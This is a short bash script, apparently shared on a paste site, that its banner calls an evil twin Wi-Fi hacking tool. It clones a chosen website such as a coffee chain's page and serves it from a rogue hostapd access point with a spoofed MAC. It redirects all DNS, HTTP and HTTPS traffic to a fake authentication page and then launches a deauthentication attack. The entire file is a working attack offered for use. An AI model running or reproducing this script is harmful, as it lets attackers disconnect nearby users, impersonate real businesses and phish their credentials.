DoubleVision.sh 1.8 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455
  1. #!/bin/bash
  2. cat << "EOF"
  3. __ _ ___ ___ _ _ _ __ ___ ___ | |__ _ __ ___ __ _ ___| |__
  4. / _` / __/ __| | | | '_ ` _ \ / _ \_____| '_ \| '__/ _ \/ _` |/ __| '_ \
  5. | (_| \__ \__ \ |_| | | | | | | __/_____| |_) | | | __/ (_| | (__| | | |
  6. \__,_|___/___/\__,_|_| |_| |_|\___| |_.__/|_| \___|\__,_|\___|_| |_|
  7. **Double Vision**
  8. A Wifi Hacking Tool For Evil Twin Captive Portals
  9. Use At Your Own Risk
  10. EOF
  11. echo ""
  12. echo "Enter Website URL To Clone. Example: https://starbucks.com"
  13. echo ""
  14. read URL
  15. echo ""
  16. rm /var/www/html/index.html
  17. runuser -u pi -- ./SingleFile/cli/single-file $URL --browser-executable-path=/usr/bin/chromium-browser /home/pi/index.html
  18. mv /home/pi/index.html /var/www/html/index.html
  19. service apache2 start
  20. sleep 1
  21. ifconfig wlan2 down
  22. macchanger -A wlan2
  23. sleep 1
  24. ifconfig wlan2 up
  25. sleep 1
  26. systemctl start dnsmasq
  27. hostapd -B /etc/hostapd/hostapd.conf
  28. sleep 2
  29. ifconfig br0 up
  30. sleep 2
  31. ifconfig br0 10.1.1.1 netmask 255.255.255.0
  32. sysctl net.ipv4.ip_forward=1
  33. echo "<meta http-equiv="refresh" content=2;URL='http://10.1.1.1/authenticate.html'>">> /var/www/html/index.html
  34. iptables --flush
  35. iptables -t nat --flush
  36. iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
  37. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.1.1.1:80
  38. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:443
  39. iptables -t nat -A POSTROUTING -j MASQUERADE
  40. sleep 2
  41. service dnsmasq start
  42. sleep 4
  43. echo "AP Should Be Up. Time To Deauth"
  44. echo ""
  45. sleep 2
  46. echo "Press CTRL+B then press D to disconnect TMUX Session Once Deauth Is Started"
  47. echo ""
  48. tmux new-session -s deauth 'cd PwrDeauther && bash PwrDeauther.sh'